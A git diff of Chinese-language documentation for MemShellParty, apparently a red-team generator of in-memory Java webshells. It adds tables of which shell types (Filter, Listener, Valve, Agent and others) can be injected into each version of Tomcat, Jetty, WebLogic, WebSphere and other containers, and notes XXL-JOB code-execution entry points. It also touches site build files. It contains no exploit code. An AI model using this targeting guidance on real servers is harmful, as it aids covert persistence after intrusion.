下载网址:https://archive.apache.org/dist/tomcat Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现,限制较少,在 MemShellParty 中,服务类型选 Tomcat 即可生成 Tomcat 内存马。 -一般而言,SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能,比如 Nacos,这种情况下可以选择 Tomcat 内存马注入。 - -其他服务中,致远 OA、Confluence、帆软使用的是 Tomcat。 +一般而言,SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能,比如 Nacos,这种情况下可以选择 Tomcat 内存马注入。其他服务中,致远 OA、Confluence、帆软也是使用 Tomcat。 + +- Spring Boot 1.x 如果使用默认的 spring-boot-starter-web 1.x 依赖,则使用的 spring-boot-starter-tomcat 1.x 中 Tomcat 版本为 Tomcat 8.x。 +- Spring Boot 2.x 如果使用默认的 spring-boot-starter-web 2.x 依赖,则使用的 spring-boot-starter-tomcat 2.x 中 Tomcat 版本为 Tomcat 9.x。 +- Spring Boot 3.x 如果使用默认的 spring-boot-starter-web 3.x 依赖,则使用的 spring-boot-starter-tomcat 3.x 中 Tomcat 版本为 Tomcat 10.x。 + +
+
+ +| Version | Servlet | JakartaServlet | Filter | JakartaFilter | Listener | JakartaListener | Valve | JakartaValve | ProxyValve | JakartaProxyValve | WebSocket | JakartaWebSocket | Upgrade | AgentFilterChain | AgentContextValve | +|-----|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:| +| Tomcat 5.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | | | | ✔️ | ✔️ | +| Tomcat 6.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | | | | ✔️ | ✔️ | +| Tomcat 7.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | | ✔️ | ✔️ | +| Tomcat 8.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | ✔️ | +| Tomcat 9.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | ✔️ | +| Tomcat 10.x | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | ✔️ | ✔️ | +| Tomcat 11.x | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | ✔️ | ✔️ | +| Spring Boot 1.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | ✔️ | +| Spring Boot 2.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | ✔️ | +| Spring Boot 3.x | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | ✔️ | ✔️ | +| BES 9.5.1 | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | | ✔️ | ✔️ | + +
表 1:Tomcat 各版本内存马挂载类型参考表
+
+
+ + ## Jetty -> https://jetty.org/ - -Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 `org.eclipse.jetty`,在测试最新的 Jenkins 时,发现 Jetty11+ -版本支持 ee8 ~ ee10 的环境,包名对应的是 `org.eclipse.jetty.ee8`,这些在 MemShellParty 中均已支持,因此服务类型选 Jetty -即可生成 Jetty 内存马。 - -在 SpringWebMVC 项目中也是有可能使用的。 +> 官网:https://jetty.org/ + +Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 `org.eclipse.jetty`,在测试最新的 Jenkins 时,发现 Jetty12 +版本支持 ee8 ~ ee11 的环境,包名对应的是 `org.eclipse.jetty.ee8`,这些在 MemShellParty 中均已支持,因此服务类型选 Jetty +即可生成 Jetty 内存马。在 SpringWebMVC 项目中也是有可能使用的。 + +- Spring Boot 1.x/2.x 如果使用的 spring-boot-starter-jetty 1.x/2.x 中 Jetty 版本为 Jetty 9.x。 +- Spring Boot 3.0.x/3.1.x 如果使用的 spring-boot-starter-jetty 3.0.x/3.1.x 中 Jetty 版本为 Jetty 11.x。 +- Spring Boot 3.2.x+ 如果使用的 spring-boot-starter-jetty 3.2.x 中 Tomcat 版本为 Jetty 12.x ee10。 + +
+
+ +| Version | Servlet | JakartaServlet | Filter | JakartaFilter | Listener | JakartaListener | Handler | JakartaHandler | Customizer | AgentHandler | +|-----|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:| +| Jetty 6.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | | | ✔️ | +| Jetty 7.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | | | ✔️ | +| Jetty 8.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | | | ✔️ | +| Jetty 9.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | +| Jetty 10.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | +| Jetty 11.x | | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | ✔️ | +| Jetty 12.x ee8 | ✔️ | | ✔️ | | ✔️ | | ✔️ | | | ✔️ | +| Jetty 12.x ee9~ee11 | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | +| Spring Boot 1.x/2.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | +| Spring Boot 3.0.x/3.1.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | +| Spring Boot 3.2.x+ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | | ✔️ | + +
表 2:Jetty 各版本内存马挂载类型参考表
+
+
+ + ## JBoss @@ -33,63 +97,175 @@ Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 ` > JBossEAP: https://developers.redhat.com/products/eap/download -JBoss 分为 JBossAS 和 JBossEAP,JBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现,JBossEAP7 及其以上使用的 -[Undertow](https://undertow.io/) 提供的 Servlets 实现。 +JBoss 分为 JBossAS 和 JBossEAP,JBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现,JBossEAP7/JBossEAP8 的 +[Undertow](#undertow) 提供的 Servlets 实现。 + +因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成,而 JBossEAP7/JBossEAP8 需要选择 +[Undertow](#undertow) 进行内存马的生成。 -因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成,而 JBossEAP7 服务类型需要选择 -Undertow 进行内存马的生成。 +
+
+ +| Version | Filter | Listener | Valve | ProxyValve | AgentFilterChain | AgentContextValve | +|---|:---:|:---:|:---:|:---:|:---:|:---:| +| JBoss 4.x | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| JBoss AS 5.x ~ 7.x | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| JBoss EAP 6.x | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | + +
表 3:JBoss 各版本内存马挂载类型参考表
+
+
+ + ## Wildfly -> https://www.wildfly.org/ +> 官网:https://www.wildfly.org/ + +Wildfly 使用的 [Undertow](#undertow) 提供的 Servlets 实现,因此服务类型选择 [Undertow](#undertow) 生成内存马。 + +## Undertow -Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现,因此服务类型选择 Undertow 生成内存马 +> 官网:https://undertow.io/ + +Undertow 是 JBoss 社区开发的高性能 Java Web 服务器,Wildfly 以及 JBossEAP7/8 使用的均是 Undertow 提供的 Servlets 实现,因此服务类型选择 Undertow 进行内存马的生成。 + +
+
+ +| Version | Servlet | JakartaServlet | Filter | JakartaFilter | Listener | JakartaListener | AgentServletHandler | +|-----|:---:|:---:|:---:|:---:|:---:|:---:|:---:| +| Undertow 1.x ~ 2.2.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | +| Undertow 2.3.x+ | | ✔️ | | ✔️ | | ✔️ | ✔️ | +| JBoss EAP 7.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | +| JBoss EAP 8.x | | ✔️ | | ✔️ | | ✔️ | ✔️ | +| WildFly 9.x ~ 26.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | +| WildFly 27.x+ | | ✔️ | | ✔️ | | ✔️ | ✔️ | + +
表 4:Undertow 各版本内存马挂载类型参考表
+
+
+ + ## GlassFish -> https://glassfish.org/ +> 官网:https://glassfish.org/ -GlassFish 使用的是 Catalina 提供的 Servlets 实现,但是使用了 OSGI 类加载模式,因此类限制较为严重,在 MemShellParty 中,服务类型选择 +GlassFish 使用的是 Catalina 提供的 Servlets 实现,但是使用了 OSGI 类加载模式,因此类限制较为严重,Apusic V10 和 Primeton V6.5 基于 GlassFish 进行二开,在 MemShellParty 中,服务类型选择 GlassFish 进行内存马的生成。 +
+
+ +| Version | Filter | JakartaFilter | Listener | JakartaListener | Valve | JakartaValve | AgentFilterChain | AgentContextValve | +|-----|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:| +| GlassFish 4.x ~ 5.x | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | +| GlassFish 6.x+ | | ✔️ | | ✔️ | | ✔️ | ✔️ | ✔️ | +| Payara 5.x+ | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | +| Payara 6.x+ | | ✔️ | | ✔️ | | ✔️ | ✔️ | ✔️ | +| Apusic V10 | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | +| Primeton V6.5 | ✔️ | | ✔️ | | ✔️ | | ✔️ | ✔️ | + +
表 5:GlassFish 各版本内存马挂载类型参考表
+
+
+ + + ## Payara -> https://www.payara.fish/downloads/ +> 官网:https://www.payara.fish/downloads/ -基于 GlassFish 开发,服务类型选择 GlassFish 进行内存马的生成。 +基于 GlassFish 开发,服务类型选择 [GlassFish](#glassfish) 进行内存马的生成。 ## Resin -> https://caucho.com/products/resin/download +> 官网:https://caucho.com/products/resin/download -Resin 使用的包名为 `com.caucho.`,服务类型选择 Resin 进行内存马的生成。 +Resin 使用的包名为 `com.caucho.`,泛微 OA 使用的就是 Resin,服务类型选择 Resin 进行内存马的生成。 -泛微 OA 使用的就是 Resin 提供的服务。 +
+ +| Version | Filter | Listener | AgentFilterChain | +|-----|:---:|:---:|:---:| +| Resin 3.x | ✔️ | ✔️ | ✔️ | +| Resin 4.x | ✔️ | ✔️ | ✔️ | + +
表 6:Resin 各版本内存马挂载类型参考表
+
## WebLogic -> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html +> 官网:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html WebLogic 使用的包名为 `weblogic.`,服务类型选择 WebLogic 进行内存马的生成。 +
+ +| Version | Filter | Listener | AgentServletContext | +|-----|:---:|:---:|:---:| +| WebLogic 10.3.6 | ✔️ | ✔️ | ✔️ | +| WebLogic 12.x | ✔️ | ✔️ | ✔️ | +| WebLogic 14.x | ✔️ | ✔️ | ✔️ | + +
表 7:WebLogic 各版本内存马挂载类型参考表
+
+ ## WebSphere -> https://www.ibm.com/products/websphere-application-server +> 官网:https://www.ibm.com/products/websphere-application-server WebSphere 是 IBM 研发的商用 Servlets 容器,开源版本为 Websphere liberty, 包名为 `com.ibm.`,服务类型选择 WebSphere 进行内存马的生成。 +
+ +| Version | Filter | Listener | AgentFilterManager | +|-----|:---:|:---:|:---:| +| WebSphere 7.x | ✔️ | ✔️ | ✔️(需要开启 debug 模式才允许 attach) | +| WebSphere 8.x | ✔️ | ✔️ | ✔️ | +| WebSphere 9.x | ✔️ | ✔️ | ✔️ | + +
表 8:WebSphere 各版本内存马挂载类型参考表
+
+ ## BES -> https://www.bessystem.com/ +> 官网:https://www.bessystem.com/ BES 宝兰德,其基于 Tomcat 进行二开,在 BES 9.5.1 版本中没有进行包名修改,而在 BES 9.5.2 版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本,服务类型选择 Tomcat 进行内存马的生成,BES 9.5.2+ 服务类型选择 BES 进行内存马的生成。 +
+ +| Version | Filter | Listener | Valve | AgentFilterChain | AgentContextValve | +|---|:---:|:---:|:---:|:---:|:---:| +| BES 9.5.2 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| BES 9.5.5 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | + +
表 9:BES 各版本内存马挂载类型参考表
+
+ ## TongWeb -> https://www.tongtech.com/sy.html +> 官网:https://www.tongtech.com/sy.html TongWeb 东方通,其基于 Tomcat 进行二开,并且在最初的 6 版本就进行了包名修改,每个版本都进行了修改。 @@ -99,35 +275,94 @@ TongWeb 东方通,其基于 Tomcat 进行二开,并且在最初的 6 版本 这三个版本在 MemShellParty 中均有适配,服务类型选择 TongWeb 进行内存马的生成。 +
+ +| Version | Filter | Listener | Valve | AgentFilterChain | AgentContextValve | +|---|:---:|:---:|:---:|:---:|:---:| +| TongWeb 6.x | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| TongWeb 7.x | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| TongWeb 8.x | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | + +
表 10:TongWeb 各版本内存马挂载类型参考表
+
+ ## Apusic -> https://www.apusic.com/ +> 官网:https://www.apusic.com/ 金蝶中间件,Apusic9 疑似魔改自 GlassFish,不过改得面目全非了,自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9 版本服务类型选择 -Apusic 进行内存马生成,Apusic10 版本选择 GlassFish 进行内存马生成。 +Apusic 进行内存马生成,Apusic10 版本选择 [GlassFish](#glassfish) 进行内存马生成。 + +
+ +| Version | Filter | Listener | AgentFilterChain | +|---|:---:|:---:|:---:| +| Apusic 9.0 | ✔️ | ✔️ | ✔️ | +| Apusic 9.0.1 | ✔️ | ✔️ | ✔️ | + +
表 11:Apusic 各版本内存马挂载类型参考表
+
## Primeton -> https://www.primeton.com/products/pas/ +> 官网:https://www.primeton.com/products/pas/ 普元中间件,Primeton6.5 版本基于 GlassFish 二开,高版本疑似做了包名修改,但没有环境,因此暂未适配([#60](https://github.com/ReaJason/MemShellParty/issues/60))因此当前仅支持 -Primeton6.5 版本,服务类型选择 GlassFish 进行内存马生成。 +Primeton6.5 版本,服务类型选择 [GlassFish](#glassfish) 进行内存马生成。 ## InforSuite 中创中间件,InforSuite 基于 GlassFish 进行二开,不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了 iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。 +
+ +| Version | Filter | Listener | Valve | AgentFilterChain | AgentContextValve | +|---|:---:|:---:|:---:|:---:|:---:| +| InforSuite 9| ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| InforSuite 10 | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | + +
表 12:InforSuite 各版本内存马挂载类型参考表
+
+ ## SpringWebMVC Spring 框架,默认的 MVC 架构,官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow,也可打包成 war 包部署于任意 Servlets 容器上。内存马注入场景下不推荐框架内存马,而是具体的 Servlets 容器内存马,因为可绕过框架的限制(鉴权或其他)。服务类型选择 SpringWebMVC 进行内存马生成。 +
+
+ +| Version | Interceptor | JakartaInterceptor | ControllerHandler | JakartaControllerHandler | AgentFrameworkServlet | +|---|:---:|:---:|:---:|:---:|:---:| +| SpringWebMVC 3.x ~ 5.x| ✔️ | | ✔️ | | ✔️ | +| Spring Boot 1.x/2.x | ✔️ | | ✔️ | | ✔️ | +| SpringWebMVC 6.x | | ✔️ | | ✔️ | ✔️ | +| Spring Boot 3.x | | ✔️ | | ✔️ | ✔️ | + +
表 13:SpringWebMVC 各版本内存马挂载类型参考表
+
+
+ + + ## SpringWebFlux Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件,底层使用的 Netty,一般常见于各种 SpringCloud 项目,例如网关。服务类型选择 SpringWebFlux 进行内存马生成。 + +## XXL-JOB + +> 官网:https://www.xuxueli.com/xxl-job/ + +XXL-JOB 是一个分布式任务调度平台,由于 executor 出现过反序列化漏洞,并且弱密码情况下可在 admin 前台下发任务,在 executor 执行任意代码,因此在 MemShellParty 中也提供了 XXL-JOB 内存马的生成,服务类型选择 XXL-JOB 进行内存马生成。 +executor 仅支持 Netty Handler 内存马注入。 \ No newline at end of file diff --git a/web/content/docs/servlet/(container)/apusic.mdx b/web/content/docs/servlet/(container)/apusic.mdx new file mode 100644 index 00000000..6fc9478c --- /dev/null +++ b/web/content/docs/servlet/(container)/apusic.mdx @@ -0,0 +1,11 @@ +--- +title: Apusic AS +--- + +## 获取 ServletContext + +## 动态添加 Servlet + +## 动态添加 Filter + +## 动态添加 Listener \ No newline at end of file diff --git a/web/content/docs/servlet/(container)/bes.mdx b/web/content/docs/servlet/(container)/bes.mdx new file mode 100644 index 00000000..59197e56 --- /dev/null +++ b/web/content/docs/servlet/(container)/bes.mdx @@ -0,0 +1,9 @@ +--- +title: BES +--- + +## 获取 ServletContext + +## 动态添加 Filter + +## 动态添加 Listener \ No newline at end of file diff --git a/web/content/docs/servlet/(container)/glassfish.mdx b/web/content/docs/servlet/(container)/glassfish.mdx new file mode 100644 index 00000000..65d6b85f --- /dev/null +++ b/web/content/docs/servlet/(container)/glassfish.mdx @@ -0,0 +1,9 @@ +--- +title: GlassFish +--- + +## 获取 ServletContext + +## 动态添加 Filter + +## 动态添加 Listener \ No newline at end of file diff --git a/web/content/docs/servlet/(container)/inforsuite.mdx b/web/content/docs/servlet/(container)/inforsuite.mdx new file mode 100644 index 00000000..9e800e7b --- /dev/null +++ b/web/content/docs/servlet/(container)/inforsuite.mdx @@ -0,0 +1,11 @@ +--- +title: InforSuite AS +--- + +## 获取 ServletContext + +## 动态添加 Servlet + +## 动态添加 Filter + +## 动态添加 Listener \ No newline at end of file diff --git a/web/content/docs/servlet/(container)/jboss.mdx b/web/content/docs/servlet/(container)/jboss.mdx new file mode 100644 index 00000000..c2145e32 --- /dev/null +++ b/web/content/docs/servlet/(container)/jboss.mdx @@ -0,0 +1,9 @@ +--- +title: JBoss +--- + +## 获取 ServletContext + +## 动态添加 Filter + +## 动态添加 Listener \ No newline at end of file diff --git a/web/content/docs/servlet/(container)/jetty.mdx b/web/content/docs/servlet/(container)/jetty.mdx new file mode 100644 index 00000000..47d9edd7 --- /dev/null +++ b/web/content/docs/servlet/(container)/jetty.mdx @@ -0,0 +1,11 @@ +--- +title: Jetty +--- + +## 获取 ServletContext + +## 动态添加 Servlet + +## 动态添加 Filter + +## 动态添加 Listener \ No newline at end of file diff --git a/web/content/docs/servlet/(container)/meta.json b/web/content/docs/servlet/(container)/meta.json new file mode 100644 index 00000000..30c89e57 --- /dev/null +++ b/web/content/docs/servlet/(container)/meta.json @@ -0,0 +1,16 @@ +{ + "pages": [ + "tomcat", + "jetty", + "undertow", + "jboss", + "resin", + "weblogic", + "websphere", + "glassfish", + "tongweb", + "bes", + "inforsuite", + "apusic" + ] +} diff --git a/web/content/docs/servlet/(container)/resin.mdx b/web/content/docs/servlet/(container)/resin.mdx new file mode 100644 index 00000000..4743196e --- /dev/null +++ b/web/content/docs/servlet/(container)/resin.mdx @@ -0,0 +1,11 @@ +--- +title: Resin +--- + +## 获取 ServletContext + +## 动态添加 Servlet + +## 动态添加 Filter + +## 动态添加 Listener \ No newline at end of file diff --git a/web/content/docs/servlet/(container)/tomcat.mdx b/web/content/docs/servlet/(container)/tomcat.mdx new file mode 100644 index 00000000..6d207fad --- /dev/null +++ b/web/content/docs/servlet/(container)/tomcat.mdx @@ -0,0 +1,11 @@ +--- +title: Tomcat +--- + +## 获取 ServletContext + +## 动态添加 Servlet + +## 动态添加 Filter + +## 动态添加 Listener \ No newline at end of file diff --git a/web/content/docs/servlet/(container)/tongweb.mdx b/web/content/docs/servlet/(container)/tongweb.mdx new file mode 100644 index 00000000..60940bc6 --- /dev/null +++ b/web/content/docs/servlet/(container)/tongweb.mdx @@ -0,0 +1,11 @@ +--- +title: TongWeb +--- + +## 获取 ServletContext + +## 动态添加 Servlet + +## 动态添加 Filter + +## 动态添加 Listener \ No newline at end of file diff --git a/web/content/docs/servlet/(container)/undertow.mdx b/web/content/docs/servlet/(container)/undertow.mdx new file mode 100644 index 00000000..f0631ca6 --- /dev/null +++ b/web/content/docs/servlet/(container)/undertow.mdx @@ -0,0 +1,9 @@ +--- +title: Undertow +--- + +## 获取 ServletContext + +## 动态添加 Filter + +## 动态添加 Listener \ No newline at end of file diff --git a/web/content/docs/servlet/(container)/weblogic.mdx b/web/content/docs/servlet/(container)/weblogic.mdx new file mode 100644 index 00000000..41d974fb --- /dev/null +++ b/web/content/docs/servlet/(container)/weblogic.mdx @@ -0,0 +1,11 @@ +--- +title: WebLogic +--- + +## 获取 ServletContext + +## 动态添加 Servlet + +## 动态添加 Filter + +## 动态添加 Listener \ No newline at end of file diff --git a/web/content/docs/servlet/(container)/websphere.mdx b/web/content/docs/servlet/(container)/websphere.mdx new file mode 100644 index 00000000..948997f4 --- /dev/null +++ b/web/content/docs/servlet/(container)/websphere.mdx @@ -0,0 +1,11 @@ +--- +title: WebSphere +--- + +## 获取 ServletContext + +## 动态添加 Servlet + +## 动态添加 Filter + +## 动态添加 Listener \ No newline at end of file diff --git a/web/content/docs/servlet/meta.json b/web/content/docs/servlet/meta.json index b9f747c7..14ff46e6 100644 --- a/web/content/docs/servlet/meta.json +++ b/web/content/docs/servlet/meta.json @@ -1,4 +1,10 @@ { "title": "Java Servlet 规范内存马", - "pages": ["servlet", "filter", "listener"] + "pages": [ + "servlet", + "filter", + "listener", + "---Servlet 容器---", + "...(container)" + ] } diff --git a/web/content/docs/shelltool/antsword.mdx b/web/content/docs/shelltool/antsword.mdx new file mode 100644 index 00000000..0b481fcf --- /dev/null +++ b/web/content/docs/shelltool/antsword.mdx @@ -0,0 +1,5 @@ +--- +title: AntSword +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/shelltool/behinder.mdx b/web/content/docs/shelltool/behinder.mdx new file mode 100644 index 00000000..027bba83 --- /dev/null +++ b/web/content/docs/shelltool/behinder.mdx @@ -0,0 +1,5 @@ +--- +title: Behinder +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/shelltool/command.mdx b/web/content/docs/shelltool/command.mdx new file mode 100644 index 00000000..0888487b --- /dev/null +++ b/web/content/docs/shelltool/command.mdx @@ -0,0 +1,5 @@ +--- +title: Command +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/(shelltool)/godzilla.mdx b/web/content/docs/shelltool/godzilla.mdx similarity index 100% rename from web/content/docs/(shelltool)/godzilla.mdx rename to web/content/docs/shelltool/godzilla.mdx diff --git a/web/content/docs/shelltool/meta.json b/web/content/docs/shelltool/meta.json new file mode 100644 index 00000000..471811a4 --- /dev/null +++ b/web/content/docs/shelltool/meta.json @@ -0,0 +1,4 @@ +{ + "title": "内存马工具", + "pages": ["godzilla", "suo5", "behinder", "command", "antsword", "neoregeorg"] +} diff --git a/web/content/docs/shelltool/neoregeorg.mdx b/web/content/docs/shelltool/neoregeorg.mdx new file mode 100644 index 00000000..1e22862e --- /dev/null +++ b/web/content/docs/shelltool/neoregeorg.mdx @@ -0,0 +1,5 @@ +--- +title: Neo-ReGeorg +--- + +WIP \ No newline at end of file diff --git a/web/content/docs/(shelltool)/suo5.mdx b/web/content/docs/shelltool/suo5.mdx similarity index 100% rename from web/content/docs/(shelltool)/suo5.mdx rename to web/content/docs/shelltool/suo5.mdx diff --git a/web/content/docs/struct2-shell.mdx b/web/content/docs/struct2-shell.mdx new file mode 100644 index 00000000..44251f2b --- /dev/null +++ b/web/content/docs/struct2-shell.mdx @@ -0,0 +1,5 @@ +--- +title: Struct2 框架内存马 +--- + +## Action 内存马 \ No newline at end of file diff --git a/web/package.json b/web/package.json index 960be6ab..f13abd65 100644 --- a/web/package.json +++ b/web/package.json @@ -14,26 +14,26 @@ "dependencies": { "@base-ui/react": "^1.0.0", "@hookform/resolvers": "^5.2.2", - "@orama/orama": "^3.1.17", - "@orama/stopwords": "^3.1.17", - "@orama/tokenizers": "^3.1.17", - "@react-router/node": "^7.10.1", - "@tanstack/react-query": "^5.90.12", + "@orama/orama": "^3.1.18", + "@orama/stopwords": "^3.1.18", + "@orama/tokenizers": "^3.1.18", + "@react-router/node": "^7.12.0", + "@tanstack/react-query": "^5.90.16", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", - "framer-motion": "^12.23.26", - "fumadocs-core": "^16.2.5", - "fumadocs-mdx": "14.1.0", - "fumadocs-ui": "16.2.5", - "i18next": "^25.7.3", + "framer-motion": "^12.25.0", + "fumadocs-core": "^16.4.6", + "fumadocs-mdx": "14.2.4", + "fumadocs-ui": "16.4.6", + "i18next": "^25.7.4", "isbot": "^5.1.32", - "lucide-react": "^0.561.0", - "motion": "^12.23.26", + "lucide-react": "^0.562.0", + "motion": "^12.25.0", "react": "^19.2.3", "react-copy-to-clipboard": "^5.1.0", "react-dom": "^19.2.3", - "react-hook-form": "^7.68.0", - "react-i18next": "^16.5.0", + "react-hook-form": "^7.71.0", + "react-i18next": "^16.5.2", "react-medium-image-zoom": "^5.4.0", "react-syntax-highlighter": "^16.1.0", "sonner": "^2.0.7", @@ -42,22 +42,22 @@ "yup": "^1.7.1" }, "devDependencies": { - "@biomejs/biome": "^2.3.9", - "@react-router/dev": "^7.10.1", + "@biomejs/biome": "^2.3.11", + "@react-router/dev": "^7.12.0", "@tailwindcss/vite": "^4.1.18", "@types/mdx": "^2.0.13", - "@types/node": "^25.0.2", - "@types/react": "^19.2.7", + "@types/node": "^25.0.6", + "@types/react": "^19.2.8", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-dom": "^19.2.3", "@types/react-syntax-highlighter": "^15.5.13", - "react-router-devtools": "^6.0.0", + "react-router-devtools": "^6.1.0", "rimraf": "^6.1.2", "serve": "^14.2.5", "tailwindcss": "^4.1.18", "typescript": "^5.9.3", - "vite": "^7.3.0", + "vite": "^7.3.1", "vite-plugin-devtools-json": "^1.0.0", - "vite-tsconfig-paths": "^6.0.1" + "vite-tsconfig-paths": "^6.0.4" } } diff --git a/web/react-router.config.ts b/web/react-router.config.ts index 5a708e04..fba55ad1 100644 --- a/web/react-router.config.ts +++ b/web/react-router.config.ts @@ -1,4 +1,5 @@ import { glob } from "node:fs/promises"; +import path from "node:path"; import { env } from "node:process"; import type { Config } from "@react-router/dev/config"; import { createGetUrl, getSlugs } from "fumadocs-core/source"; @@ -14,8 +15,10 @@ export default { for (const path of getStaticPaths()) { if (!excluded.includes(path)) paths.push(path); } - for await (const entry of glob("**/*.mdx", { cwd: "content/docs" })) { - paths.push(getUrl(getSlugs(entry))); + const docsDir = path.resolve(process.cwd(), "content/docs"); + for await (const entry of glob("**/*.mdx", { cwd: docsDir })) { + const normalizedEntry = entry.replace(/\\/g, "/"); + paths.push(getUrl(getSlugs(normalizedEntry))); } return paths; }, diff --git a/web/vite.config.ts b/web/vite.config.ts index cf2a2190..f4c62532 100644 --- a/web/vite.config.ts +++ b/web/vite.config.ts @@ -1,3 +1,4 @@ +import path from "node:path"; import { env } from "node:process"; import { reactRouter } from "@react-router/dev/vite"; import tailwindcss from "@tailwindcss/vite"; @@ -7,8 +8,9 @@ import devtoolsJson from "vite-plugin-devtools-json"; import tsconfigPaths from "vite-tsconfig-paths"; import * as MdxConfig from "./source.config"; +const isDev = env.NODE_ENV === "development"; export default defineConfig({ - base: env.NODE_ENV === "development" ? "/" : `${env.VITE_APP_API_URL}/`, + base: isDev ? "/" : `${env.VITE_APP_API_URL}/`, plugins: [ mdx(MdxConfig), tailwindcss(), @@ -18,12 +20,14 @@ export default defineConfig({ root: __dirname, }), ], - resolve: - process.env.NODE_ENV === "development" - ? {} - : { - alias: { + resolve: { + alias: { + "@": path.resolve(__dirname, "./app"), + ...(!isDev + ? { "react-dom/server": "react-dom/server.node", - }, - }, + } + : {}), + }, + }, });